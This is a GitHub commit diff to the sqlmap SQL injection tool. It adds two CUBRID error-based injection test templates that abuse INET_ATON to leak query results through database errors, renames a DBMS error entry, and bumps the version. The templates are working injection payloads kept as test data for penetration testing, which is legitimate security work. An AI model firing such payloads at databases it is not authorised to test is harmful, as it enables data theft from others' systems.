File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 233233 <error regexp =" cubrid\.jdbc\.driver" />
234234 </dbms >
235235
236- <dbms value =" Cache" >
236+ <dbms value =" InterSystems Cache" >
237237 <error regexp =" encountered after end of query" />
238238 <error regexp =" A comparison operator is required here" />
239239 </dbms >
Original file line number Diff line number Diff line change 919919 </details >
920920 </test >
921921
922+ <test >
923+ <title >CUBRID AND error-based - WHERE or HAVING clause</title >
924+ <stype >2</stype >
925+ <level >5</level >
926+ <risk >1</risk >
927+ <clause >1</clause >
928+ <where >1</where >
929+ <!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
930+ <vector >AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector >
931+ <request >
932+ <payload >AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload >
933+ </request >
934+ <response >
935+ <grep >[DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep >
936+ </response >
937+ <details >
938+ <dbms >Cubrid</dbms >
939+ </details >
940+ </test >
941+
942+ <test >
943+ <title >CUBRID OR error-based - WHERE or HAVING clause</title >
944+ <stype >2</stype >
945+ <level >5</level >
946+ <risk >3</risk >
947+ <clause >1</clause >
948+ <where >2</where >
949+ <vector >OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector >
950+ <request >
951+ <payload >OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload >
952+ </request >
953+ <response >
954+ <grep >[DELIMITER_START](?P< result> .*?)[DELIMITER_STOP]</grep >
955+ </response >
956+ <details >
957+ <dbms >Cubrid</dbms >
958+ </details >
959+ </test >
960+
922961 <test >
923962 <title >IBM DB2 AND error-based - WHERE or HAVING clause</title >
924963 <stype >2</stype >
Original file line number Diff line number Diff line change 2020from thirdparty import six
2121
2222# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23- VERSION = "1.10.7.196 "
23+ VERSION = "1.10.7.197 "
2424TYPE = "dev" if VERSION .count ('.' ) > 2 and VERSION .split ('.' )[- 1 ] != '0' else "stable"
2525TYPE_COLORS = {"dev" : 33 , "stable" : 90 , "pip" : 34 }
2626VERSION_STRING = "sqlmap/%s#%s" % ('.' .join (VERSION .split ('.' )[:- 1 ]) if VERSION .count ('.' ) > 2 and VERSION .split ('.' )[- 1 ] == '0' else VERSION , TYPE )
You can’t perform that action at this time.
0 commit comments